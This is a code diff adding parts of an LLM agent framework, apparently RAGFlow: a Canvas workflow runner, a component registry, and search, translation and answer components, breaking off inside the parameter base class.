+from beartype.claw import beartype_this_package
+beartype_this_package()

agent/canvas.py

@@ -0,0 +1,365 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+import json
+from copy import deepcopy
+from functools import partial
+
+import pandas as pd
+
+from agent.component import component_class
+from agent.component.base import ComponentBase
+
+
+class Canvas:
+    """
+    dsl = {
+        "components": {
+            "begin": {
+                "obj":{
+                    "component_name": "Begin",
+                    "params": {},
+                },
+                "downstream": ["answer_0"],
+                "upstream": [],
+            },
+            "answer_0": {
+                "obj": {
+                    "component_name": "Answer",
+                    "params": {}
+                },
+                "downstream": ["retrieval_0"],
+                "upstream": ["begin", "generate_0"],
+            },
+            "retrieval_0": {
+                "obj": {
+                    "component_name": "Retrieval",
+                    "params": {}
+                },
+                "downstream": ["generate_0"],
+                "upstream": ["answer_0"],
+            },
+            "generate_0": {
+                "obj": {
+                    "component_name": "Generate",
+                    "params": {}
+                },
+                "downstream": ["answer_0"],
+                "upstream": ["retrieval_0"],
+            }
+        },
+        "history": [],
+        "messages": [],
+        "reference": [],
+        "path": [["begin"]],
+        "answer": []
+    }
+    """
+
+    def __init__(self, dsl: str, tenant_id=None):
+        self.path = []
+        self.history = []
+        self.messages = []
+        self.answer = []
+        self.components = {}
+        self.dsl = json.loads(dsl) if dsl else {
+            "components": {
+                "begin": {
+                    "obj": {
+                        "component_name": "Begin",
+                        "params": {
+                            "prologue": "Hi there!"
+                        }
+                    },
+                    "downstream": [],
+                    "upstream": [],
+                    "parent_id": ""
+                }
+            },
+            "history": [],
+            "messages": [],
+            "reference": [],
+            "path": [],
+            "answer": []
+        }
+        self._tenant_id = tenant_id
+        self._embed_id = ""
+        self.load()
+
+    def load(self):
+        self.components = self.dsl["components"]
+        cpn_nms = set([])
+        for k, cpn in self.components.items():
+            cpn_nms.add(cpn["obj"]["component_name"])
+
+        assert "Begin" in cpn_nms, "There have to be an 'Begin' component."
+        assert "Answer" in cpn_nms, "There have to be an 'Answer' component."
+
+        for k, cpn in self.components.items():
+            cpn_nms.add(cpn["obj"]["component_name"])
+            param = component_class(cpn["obj"]["component_name"] + "Param")()
+            param.update(cpn["obj"]["params"])
+            param.check()
+            cpn["obj"] = component_class(cpn["obj"]["component_name"])(self, k, param)
+            if cpn["obj"].component_name == "Categorize":
+                for _, desc in param.category_description.items():
+                    if desc["to"] not in cpn["downstream"]:
+                        cpn["downstream"].append(desc["to"])
+
+        self.path = self.dsl["path"]
+        self.history = self.dsl["history"]
+        self.messages = self.dsl["messages"]
+        self.answer = self.dsl["answer"]
+        self.reference = self.dsl["reference"]
+        self._embed_id = self.dsl.get("embed_id", "")
+
+    def __str__(self):
+        self.dsl["path"] = self.path
+        self.dsl["history"] = self.history
+        self.dsl["messages"] = self.messages
+        self.dsl["answer"] = self.answer
+        self.dsl["reference"] = self.reference
+        self.dsl["embed_id"] = self._embed_id
+        dsl = {
+            "components": {}
+        }
+        for k in self.dsl.keys():
+            if k in ["components"]:
+                continue
+            dsl[k] = deepcopy(self.dsl[k])
+
+        for k, cpn in self.components.items():
+            if k not in dsl["components"]:
+                dsl["components"][k] = {}
+            for c in cpn.keys():
+                if c == "obj":
+                    dsl["components"][k][c] = json.loads(str(cpn["obj"]))
+                    continue
+                dsl["components"][k][c] = deepcopy(cpn[c])
+        return json.dumps(dsl, ensure_ascii=False)
+
+    def reset(self):
+        self.path = []
+        self.history = []
+        self.messages = []
+        self.answer = []
+        self.reference = []
+        for k, cpn in self.components.items():
+            self.components[k]["obj"].reset()
+        self._embed_id = ""
+
+    def get_component_name(self, cid):
+        for n in self.dsl["graph"]["nodes"]:
+            if cid == n["id"]:
+                return n["data"]["name"]
+        return ""
+
+    def run(self, **kwargs):
+        if self.answer:
+            cpn_id = self.answer[0]
+            self.answer.pop(0)
+            try:
+                ans = self.components[cpn_id]["obj"].run(self.history, **kwargs)
+            except Exception as e:
+                ans = ComponentBase.be_output(str(e))
+            self.path[-1].append(cpn_id)
+            if kwargs.get("stream"):
+                for an in ans():
+                    yield an
+            else:
+                yield ans
+            return
+
+        if not self.path:
+            self.components["begin"]["obj"].run(self.history, **kwargs)
+            self.path.append(["begin"])
+
+        self.path.append([])
+
+        ran = -1
+        waiting = []
+        without_dependent_checking = []
+
+        def prepare2run(cpns):
+            nonlocal ran, ans
+            for c in cpns:
+                if self.path[-1] and c == self.path[-1][-1]:
+                    continue
+                cpn = self.components[c]["obj"]
+                if cpn.component_name == "Answer":
+                    self.answer.append(c)
+                else:
+                    logging.debug(f"Canvas.prepare2run: {c}")
+                    if c not in without_dependent_checking:
+                        cpids = cpn.get_dependent_components()
+                        if any([cc not in self.path[-1] for cc in cpids]):
+                            if c not in waiting:
+                                waiting.append(c)
+                            continue
+                    yield "*'{}'* is running...🕞".format(self.get_component_name(c))
+
+                    if cpn.component_name.lower() == "iteration":
+                        st_cpn = cpn.get_start()
+                        assert st_cpn, "Start component not found for Iteration."
+                        if not st_cpn["obj"].end():
+                            cpn = st_cpn["obj"]
+                            c = cpn._id
+
+                    try:
+                        ans = cpn.run(self.history, **kwargs)
+                    except Exception as e:
+                        logging.exception(f"Canvas.run got exception: {e}")
+                        self.path[-1].append(c)
+                        ran += 1
+                        raise e
+                    self.path[-1].append(c)
+
+            ran += 1
+
+        downstream = self.components[self.path[-2][-1]]["downstream"]
+        if not downstream and self.components[self.path[-2][-1]].get("parent_id"):
+            cid = self.path[-2][-1]
+            pid = self.components[cid]["parent_id"]
+            o, _ = self.components[cid]["obj"].output(allow_partial=False)
+            oo, _ = self.components[pid]["obj"].output(allow_partial=False)
+            self.components[pid]["obj"].set(pd.concat([oo, o], ignore_index=True))
+            downstream = [pid]
+
+        for m in prepare2run(downstream):
+            yield {"content": m, "running_status": True}
+
+        while 0 <= ran < len(self.path[-1]):
+            logging.debug(f"Canvas.run: {ran} {self.path}")
+            cpn_id = self.path[-1][ran]
+            cpn = self.get_component(cpn_id)
+            if not any([cpn["downstream"], cpn.get("parent_id"), waiting]):
+                break
+
+            loop = self._find_loop()
+            if loop:
+                raise OverflowError(f"Too much loops: {loop}")
+
+            if cpn["obj"].component_name.lower() in ["switch", "categorize", "relevant"]:
+                switch_out = cpn["obj"].output()[1].iloc[0, 0]
+                assert switch_out in self.components, \
+                    "{}'s output: {} not valid.".format(cpn_id, switch_out)
+                for m in prepare2run([switch_out]):
+                    yield {"content": m, "running_status": True}
+                continue
+
+            downstream = cpn["downstream"]
+            if not downstream and cpn.get("parent_id"):
+                pid = cpn["parent_id"]
+                _, o = cpn["obj"].output(allow_partial=False)
+                _, oo = self.components[pid]["obj"].output(allow_partial=False)
+                self.components[pid]["obj"].set_output(pd.concat([oo.dropna(axis=1), o.dropna(axis=1)], ignore_index=True))
+                downstream = [pid]
+
+            for m in prepare2run(downstream):
+                yield {"content": m, "running_status": True}
+
+            if ran >= len(self.path[-1]) and waiting:
+                without_dependent_checking = waiting
+                waiting = []
+                for m in prepare2run(without_dependent_checking):
+                    yield {"content": m, "running_status": True}
+                without_dependent_checking = []
+                ran -= 1
+
+        if self.answer:
+            cpn_id = self.answer[0]
+            self.answer.pop(0)
+            ans = self.components[cpn_id]["obj"].run(self.history, **kwargs)
+            self.path[-1].append(cpn_id)
+            if kwargs.get("stream"):
+                assert isinstance(ans, partial)
+                for an in ans():
+                    yield an
+            else:
+                yield ans
+
+        else:
+            raise Exception("The dialog flow has no way to interact with you. Please add an 'Interact' component to the end of the flow.")
+
+    def get_component(self, cpn_id):
+        return self.components[cpn_id]
+
+    def get_tenant_id(self):
+        return self._tenant_id
+
+    def get_history(self, window_size):
+        convs = []
+        for role, obj in self.history[window_size * -1:]:
+            if isinstance(obj, list) and obj and all([isinstance(o, dict) for o in obj]):
+                convs.append({"role": role, "content": '\n'.join([str(s.get("content", "")) for s in obj])})
+            else:
+                convs.append({"role": role, "content": str(obj)})
+        return convs
+
+    def add_user_input(self, question):
+        self.history.append(("user", question))
+
+    def set_embedding_model(self, embed_id):
+        self._embed_id = embed_id
+
+    def get_embedding_model(self):
+        return self._embed_id
+
+    def _find_loop(self, max_loops=6):
+        path = self.path[-1][::-1]
+        if len(path) < 2:
+            return False
+
+        for i in range(len(path)):
+            if path[i].lower().find("answer") == 0 or path[i].lower().find("iterationitem") == 0:
+                path = path[:i]
+                break
+
+        if len(path) < 2:
+            return False
+
+        for loc in range(2, len(path) // 2):
+            pat = ",".join(path[0:loc])
+            path_str = ",".join(path)
+            if len(pat) >= len(path_str):
+                return False
+            loop = max_loops
+            while path_str.find(pat) == 0 and loop >= 0:
+                loop -= 1
+                if len(pat)+1 >= len(path_str):
+                    return False
+                path_str = path_str[len(pat)+1:]
+            if loop < 0:
+                pat = " => ".join([p.split(":")[0] for p in path[0:loc]])
+                return pat + " => " + pat
+
+        return False
+
+    def get_prologue(self):
+        return self.components["begin"]["obj"]._param.prologue
+
+    def set_global_param(self, **kwargs):
+        for k, v in kwargs.items():
+            for q in self.components["begin"]["obj"]._param.query:
+                if k != q["key"]:
+                    continue
+                q["value"] = v
+
+    def get_preset_param(self):
+        return self.components["begin"]["obj"]._param.query
+
+    def get_component_input_elements(self, cpnnm):
+        return self.components[cpnnm]["obj"].get_input_elements()

agent/component/__init__.py

@@ -0,0 +1,133 @@
+#
+#  Copyright 2025 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+
+import importlib
+from .begin import Begin, BeginParam
+from .generate import Generate, GenerateParam
+from .retrieval import Retrieval, RetrievalParam
+from .answer import Answer, AnswerParam
+from .categorize import Categorize, CategorizeParam
+from .switch import Switch, SwitchParam
+from .relevant import Relevant, RelevantParam
+from .message import Message, MessageParam
+from .rewrite import RewriteQuestion, RewriteQuestionParam
+from .keyword import KeywordExtract, KeywordExtractParam
+from .concentrator import Concentrator, ConcentratorParam
+from .baidu import Baidu, BaiduParam
+from .duckduckgo import DuckDuckGo, DuckDuckGoParam
+from .wikipedia import Wikipedia, WikipediaParam
+from .pubmed import PubMed, PubMedParam
+from .arxiv import ArXiv, ArXivParam
+from .google import Google, GoogleParam
+from .bing import Bing, BingParam
+from .googlescholar import GoogleScholar, GoogleScholarParam
+from .deepl import DeepL, DeepLParam
+from .github import GitHub, GitHubParam
+from .baidufanyi import BaiduFanyi, BaiduFanyiParam
+from .qweather import QWeather, QWeatherParam
+from .exesql import ExeSQL, ExeSQLParam
+from .yahoofinance import YahooFinance, YahooFinanceParam
+from .wencai import WenCai, WenCaiParam
+from .jin10 import Jin10, Jin10Param
+from .tushare import TuShare, TuShareParam
+from .akshare import AkShare, AkShareParam
+from .crawler import Crawler, CrawlerParam
+from .invoke import Invoke, InvokeParam
+from .template import Template, TemplateParam
+from .email import Email, EmailParam
+from .iteration import Iteration, IterationParam
+from .iterationitem import IterationItem, IterationItemParam
+
+
+def component_class(class_name):
+    m = importlib.import_module("agent.component")
+    c = getattr(m, class_name)
+    return c
+
+
+__all__ = [
+    "Begin",
+    "BeginParam",
+    "Generate",
+    "GenerateParam",
+    "Retrieval",
+    "RetrievalParam",
+    "Answer",
+    "AnswerParam",
+    "Categorize",
+    "CategorizeParam",
+    "Switch",
+    "SwitchParam",
+    "Relevant",
+    "RelevantParam",
+    "Message",
+    "MessageParam",
+    "RewriteQuestion",
+    "RewriteQuestionParam",
+    "KeywordExtract",
+    "KeywordExtractParam",
+    "Concentrator",
+    "ConcentratorParam",
+    "Baidu",
+    "BaiduParam",
+    "DuckDuckGo",
+    "DuckDuckGoParam",
+    "Wikipedia",
+    "WikipediaParam",
+    "PubMed",
+    "PubMedParam",
+    "ArXiv",
+    "ArXivParam",
+    "Google",
+    "GoogleParam",
+    "Bing",
+    "BingParam",
+    "GoogleScholar",
+    "GoogleScholarParam",
+    "DeepL",
+    "DeepLParam",
+    "GitHub",
+    "GitHubParam",
+    "BaiduFanyi",
+    "BaiduFanyiParam",
+    "QWeather",
+    "QWeatherParam",
+    "ExeSQL",
+    "ExeSQLParam",
+    "YahooFinance",
+    "YahooFinanceParam",
+    "WenCai",
+    "WenCaiParam",
+    "Jin10",
+    "Jin10Param",
+    "TuShare",
+    "TuShareParam",
+    "AkShare",
+    "AkShareParam",
+    "Crawler",
+    "CrawlerParam",
+    "Invoke",
+    "InvokeParam",
+    "Iteration",
+    "IterationParam",
+    "IterationItem",
+    "IterationItemParam",
+    "Template",
+    "TemplateParam",
+    "Email",
+    "EmailParam",
+    "component_class"
+]

agent/component/akshare.py

@@ -0,0 +1,56 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class AkShareParam(ComponentParamBase):
+    """
+    Define the AkShare component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+
+
+class AkShare(ComponentBase, ABC):
+    component_name = "AkShare"
+
+    def _run(self, history, **kwargs):
+        import akshare as ak
+        ans = self.get_input()
+        ans = ",".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return AkShare.be_output("")
+
+        try:
+            ak_res = []
+            stock_news_em_df = ak.stock_news_em(symbol=ans)
+            stock_news_em_df = stock_news_em_df.head(self._param.top_n)
+            ak_res = [{"content": '<a href="' + i["新闻链接"] + '">' + i["新闻标题"] + '</a>\n 新闻内容: ' + i[
+                "新闻内容"] + " \n发布时间:" + i["发布时间"] + " \n文章来源: " + i["文章来源"]} for index, i in stock_news_em_df.iterrows()]
+        except Exception as e:
+            return AkShare.be_output("**ERROR**: " + str(e))
+
+        if not ak_res:
+            return AkShare.be_output("")
+
+        return pd.DataFrame(ak_res)

agent/component/answer.py

@@ -0,0 +1,89 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+from functools import partial
+from typing import Tuple, Union
+
+import pandas as pd
+
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class AnswerParam(ComponentParamBase):
+
+    """
+    Define the Answer component parameters.
+    """
+    def __init__(self):
+        super().__init__()
+        self.post_answers = []
+
+    def check(self):
+        return True
+
+
+class Answer(ComponentBase, ABC):
+    component_name = "Answer"
+
+    def _run(self, history, **kwargs):
+        if kwargs.get("stream"):
+            return partial(self.stream_output)
+
+        ans = self.get_input()
+        if self._param.post_answers:
+            ans = pd.concat([ans, pd.DataFrame([{"content": random.choice(self._param.post_answers)}])], ignore_index=False)
+        return ans
+
+    def stream_output(self):
+        res = None
+        if hasattr(self, "exception") and self.exception:
+            res = {"content": str(self.exception)}
+            self.exception = None
+            yield res
+            self.set_output(res)
+            return
+
+        stream = self.get_stream_input()
+        if isinstance(stream, pd.DataFrame):
+            res = stream
+            answer = ""
+            for ii, row in stream.iterrows():
+                answer += row.to_dict()["content"]
+                yield {"content": answer}
+        else:
+            for st in stream():
+                res = st
+                yield st
+        if self._param.post_answers:
+            res["content"] += random.choice(self._param.post_answers)
+            yield res
+
+        self.set_output(res)
+
+    def set_exception(self, e):
+        self.exception = e
+
+    def output(self, allow_partial=True) -> Tuple[str, Union[pd.DataFrame, partial]]:
+        if allow_partial:
+            return super.output()
+
+        for r, c in self._canvas.history[::-1]:
+            if r == "user":
+                return self._param.output_var_name, pd.DataFrame([{"content": c}])
+
+        self._param.output_var_name, pd.DataFrame([])
+

agent/component/arxiv.py

@@ -0,0 +1,68 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import arxiv
+import pandas as pd
+from agent.component.base import ComponentBase, ComponentParamBase
+
+class ArXivParam(ComponentParamBase):
+    """
+    Define the ArXiv component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 6
+        self.sort_by = 'submittedDate'
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+        self.check_valid_value(self.sort_by, "ArXiv Search Sort_by",
+                               ['submittedDate', 'lastUpdatedDate', 'relevance'])
+
+
+class ArXiv(ComponentBase, ABC):
+    component_name = "ArXiv"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return ArXiv.be_output("")
+
+        try:
+            sort_choices = {"relevance": arxiv.SortCriterion.Relevance,
+                            "lastUpdatedDate": arxiv.SortCriterion.LastUpdatedDate,
+                            'submittedDate': arxiv.SortCriterion.SubmittedDate}
+            arxiv_client = arxiv.Client()
+            search = arxiv.Search(
+                query=ans,
+                max_results=self._param.top_n,
+                sort_by=sort_choices[self._param.sort_by]
+            )
+            arxiv_res = [
+                {"content": 'Title: ' + i.title + '\nPdf_Url: <a href="' + i.pdf_url + '"></a> \nSummary: ' + i.summary} for
+                i in list(arxiv_client.results(search))]
+        except Exception as e:
+            return ArXiv.be_output("**ERROR**: " + str(e))
+
+        if not arxiv_res:
+            return ArXiv.be_output("")
+
+        df = pd.DataFrame(arxiv_res)
+        logging.debug(f"df: {str(df)}")
+        return df

agent/component/baidu.py

@@ -0,0 +1,67 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import logging
+from abc import ABC
+import pandas as pd
+import requests
+import re
+from agent.component.base import ComponentBase, ComponentParamBase
+
+
+class BaiduParam(ComponentParamBase):
+    """
+    Define the Baidu component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.top_n = 10
+
+    def check(self):
+        self.check_positive_integer(self.top_n, "Top N")
+
+
+class Baidu(ComponentBase, ABC):
+    component_name = "Baidu"
+
+    def _run(self, history, **kwargs):
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return Baidu.be_output("")
+
+        try:
+            url = 'http://www.baidu.com/s?wd=' + ans + '&rn=' + str(self._param.top_n)
+            headers = {
+                'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.104 Safari/537.36'}
+            response = requests.get(url=url, headers=headers)
+
+            url_res = re.findall(r"'url': \\\"(.*?)\\\"}", response.text)
+            title_res = re.findall(r"'title': \\\"(.*?)\\\",\\n", response.text)
+            body_res = re.findall(r"\"contentText\":\"(.*?)\"", response.text)
+            baidu_res = [{"content": re.sub('<em>|</em>', '', '<a href="' + url + '">' + title + '</a>    ' + body)} for
+                         url, title, body in zip(url_res, title_res, body_res)]
+            del body_res, url_res, title_res
+        except Exception as e:
+            return Baidu.be_output("**ERROR**: " + str(e))
+
+        if not baidu_res:
+            return Baidu.be_output("")
+
+        df = pd.DataFrame(baidu_res)
+        logging.debug(f"df: {str(df)}")
+        return df
+

agent/component/baidufanyi.py

@@ -0,0 +1,96 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+import random
+from abc import ABC
+import requests
+from agent.component.base import ComponentBase, ComponentParamBase
+from hashlib import md5
+
+
+class BaiduFanyiParam(ComponentParamBase):
+    """
+    Define the BaiduFanyi component parameters.
+    """
+
+    def __init__(self):
+        super().__init__()
+        self.appid = "xxx"
+        self.secret_key = "xxx"
+        self.trans_type = 'translate'
+        self.parameters = []
+        self.source_lang = 'auto'
+        self.target_lang = 'auto'
+        self.domain = 'finance'
+
+    def check(self):
+        self.check_empty(self.appid, "BaiduFanyi APPID")
+        self.check_empty(self.secret_key, "BaiduFanyi Secret Key")
+        self.check_valid_value(self.trans_type, "Translate type", ['translate', 'fieldtranslate'])
+        self.check_valid_value(self.source_lang, "Source language",
+                               ['auto', 'zh', 'en', 'yue', 'wyw', 'jp', 'kor', 'fra', 'spa', 'th', 'ara', 'ru', 'pt',
+                                'de', 'it', 'el', 'nl', 'pl', 'bul', 'est', 'dan', 'fin', 'cs', 'rom', 'slo', 'swe',
+                                'hu', 'cht', 'vie'])
+        self.check_valid_value(self.target_lang, "Target language",
+                               ['auto', 'zh', 'en', 'yue', 'wyw', 'jp', 'kor', 'fra', 'spa', 'th', 'ara', 'ru', 'pt',
+                                'de', 'it', 'el', 'nl', 'pl', 'bul', 'est', 'dan', 'fin', 'cs', 'rom', 'slo', 'swe',
+                                'hu', 'cht', 'vie'])
+        self.check_valid_value(self.domain, "Translate field",
+                               ['it', 'finance', 'machinery', 'senimed', 'novel', 'academic', 'aerospace', 'wiki',
+                                'news', 'law', 'contract'])
+
+
+class BaiduFanyi(ComponentBase, ABC):
+    component_name = "BaiduFanyi"
+
+    def _run(self, history, **kwargs):
+
+        ans = self.get_input()
+        ans = " - ".join(ans["content"]) if "content" in ans else ""
+        if not ans:
+            return BaiduFanyi.be_output("")
+
+        try:
+            source_lang = self._param.source_lang
+            target_lang = self._param.target_lang
+            appid = self._param.appid
+            salt = random.randint(32768, 65536)
+            secret_key = self._param.secret_key
+
+            if self._param.trans_type == 'translate':
+                sign = md5((appid + ans + salt + secret_key).encode('utf-8')).hexdigest()
+                url = 'http://api.fanyi.baidu.com/api/trans/vip/translate?' + 'q=' + ans + '&from=' + source_lang + '&to=' + target_lang + '&appid=' + appid + '&salt=' + salt + '&sign=' + sign
+                headers = {"Content-Type": "application/x-www-form-urlencoded"}
+                response = requests.post(url=url, headers=headers).json()
+
+                if response.get('error_code'):
+                    BaiduFanyi.be_output("**Error**:" + response['error_msg'])
+
+                return BaiduFanyi.be_output(response['trans_result'][0]['dst'])
+            elif self._param.trans_type == 'fieldtranslate':
+                domain = self._param.domain
+                sign = md5((appid + ans + salt + domain + secret_key).encode('utf-8')).hexdigest()
+                url = 'http://api.fanyi.baidu.com/api/trans/vip/fieldtranslate?' + 'q=' + ans + '&from=' + source_lang + '&to=' + target_lang + '&appid=' + appid + '&salt=' + salt + '&domain=' + domain + '&sign=' + sign
+                headers = {"Content-Type": "application/x-www-form-urlencoded"}
+                response = requests.post(url=url, headers=headers).json()
+
+                if response.get('error_code'):
+                    BaiduFanyi.be_output("**Error**:" + response['error_msg'])
+
+                return BaiduFanyi.be_output(response['trans_result'][0]['dst'])
+
+        except Exception as e:
+            BaiduFanyi.be_output("**Error**:" + str(e))
+    

agent/component/base.py

@@ -0,0 +1,586 @@
+#
+#  Copyright 2024 The InfiniFlow Authors. All Rights Reserved.
+#
+#  Licensed under the Apache License, Version 2.0 (the "License");
+#  you may not use this file except in compliance with the License.
+#  You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+#  Unless required by applicable law or agreed to in writing, software
+#  distributed under the License is distributed on an "AS IS" BASIS,
+#  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+#  See the License for the specific language governing permissions and
+#  limitations under the License.
+#
+from abc import ABC
+import builtins
+import json
+import os
+import logging
+from functools import partial
+from typing import Tuple, Union
+
+import pandas as pd
+
+from agent import settings
+
+_FEEDED_DEPRECATED_PARAMS = "_feeded_deprecated_params"
+_DEPRECATED_PARAMS = "_deprecated_params"
+_USER_FEEDED_PARAMS = "_user_feeded_params"
+_IS_RAW_CONF = "_is_raw_conf"
+
+
+class ComponentParamBase(ABC):
+    def __init__(self):
+        self.output_var_name = "output"
+        self.message_history_window_size = 22
+        self.query = []
+        self.inputs = []
+        self.debug_inputs = []
+
+    def set_name(self, name: str):
+        self._name = name
+        return self
+
+    def check(self):
+        raise NotImplementedError("Parameter Object should be checked.")
+
+    @classmethod
+    def _get_or_init_deprecated_params_set(cls):
+        if not hasattr(cls, _DEPRECATED_PARAMS):
+            setattr(cls, _DEPRECATED_PARAMS, set())
+        return getattr(cls, _DEPRECATED_PARAMS)
+
+    def _get_or_init_feeded_deprecated_params_set(self, conf=None):
+        if not hasattr(self, _FEEDED_DEPRECATED_PARAMS):
+            if conf is None:
+                setattr(self, _FEEDED_DEPRECATED_PARAMS, set())
+            else:
+                setattr(
+                    self,
+                    _FEEDED_DEPRECATED_PARAMS,
+                    set(conf[_FEEDED_DEPRECATED_PARAMS]),
+                )
+        return getattr(self, _FEEDED_DEPRECATED_PARAMS)
+
+    def _get_or_init_user_feeded_params_set(self, conf=None):
+        if not hasattr(self, _USER_FEEDED_PARAMS):
+            if conf is None:
+                setattr(self, _USER_FEEDED_PARAMS, set())
+            else:
+                setattr(self, _USER_FEEDED_PARAMS, set(conf[_USER_FEEDED_PARAMS]))
+        return getattr(self, _USER_FEEDED_PARAMS)
+
+    def get_user_feeded(self):
+        return self._get_or_init_user_feeded_params_set()
+
+    def get_feeded_deprecated_params(self):
+        return self._get_or_init_feeded_deprecated_params_set()
+
+    @property
+    def _deprecated_params_set(self):
+        return {name: True for name in self.get_feeded_deprecated_params()}
+
+    def __str__(self):
+        return json.dumps(self.as_dict(), ensure_ascii=False)
+
+    def as_dict(self):
+        def _recursive_convert_obj_to_dict(obj):
+            ret_dict = {}
+            for attr_name in list(obj.__dict__):
+                if attr_name in [_FEEDED_DEPRECATED_PARAMS, _DEPRECATED_PARAMS, _USER_FEEDED_PARAMS, _IS_RAW_CONF]:
+                    continue
+                # get attr
+                attr = getattr(obj, attr_name)
+                if isinstance(attr, pd.DataFrame):
+                    ret_dict[attr_name] = attr.to_dict()
+                    continue
+                if attr and type(attr).__name__ not in dir(builtins):
+                    ret_dict[attr_name] = _recursive_convert_obj_to_dict(attr)
+                else:
+                    ret_dict[attr_name] = attr
+
+            return ret_dict
+
+        return _recursive_convert_obj_to_dict(self)
+
+    def update(self, conf, allow_redundant=False):
+        update_from_raw_conf = conf.get(_IS_RAW_CONF, True)
+        if update_from_raw_conf:
+            deprecated_params_set = self._get_or_init_deprecated_params_set()
+            feeded_deprecated_params_set = (
+                self._get_or_init_feeded_deprecated_params_set()
+            )
+            user_feeded_params_set = self._get_or_init_user_feeded_params_set()
+            setattr(self, _IS_RAW_CONF, False)
+        else:
+            feeded_deprecated_params_set = (
+                self._get_or_init_feeded_deprecated_params_set(conf)
+            )
+            user_feeded_params_set = self._get_or_init_user_feeded_params_set(conf)
+
+        def _recursive_update_param(param, config, depth, prefix):
+            if depth > settings.PARAM_MAXDEPTH:
+                raise ValueError("Param define nesting too deep!!!, can not parse it")
+
+            inst_variables = param.__dict__
+            redundant_attrs = []
+            for config_key, config_value in config.items():
+                # redundant attr
+                if config_key not in inst_variables:
+                    if not update_from_raw_conf and config_key.startswith("_"):
+                        setattr(param, config_key, config_value)
+                    else:
+                        setattr(param, config_key, config_value)
+                        # redundant_attrs.append(config_key)
+                    continue
+
+                full_config_key = f"{prefix}{config_key}"
+
+                if update_from_raw_conf:
+                    # add user feeded params
+                    user_feeded_params_set.add(full_config_key)
+
+                    # update user feeded deprecated param set
+                    if full_config_key in deprecated_params_set:
+                        feeded_deprecated_params_set.add(full_config_key)
+
+                # supported attr
+                attr = getattr(param, config_key)
+                if type(attr).__name__ in dir(builtins) or attr is None:
+                    setattr(param, config_key, config_value)
+
+                else:
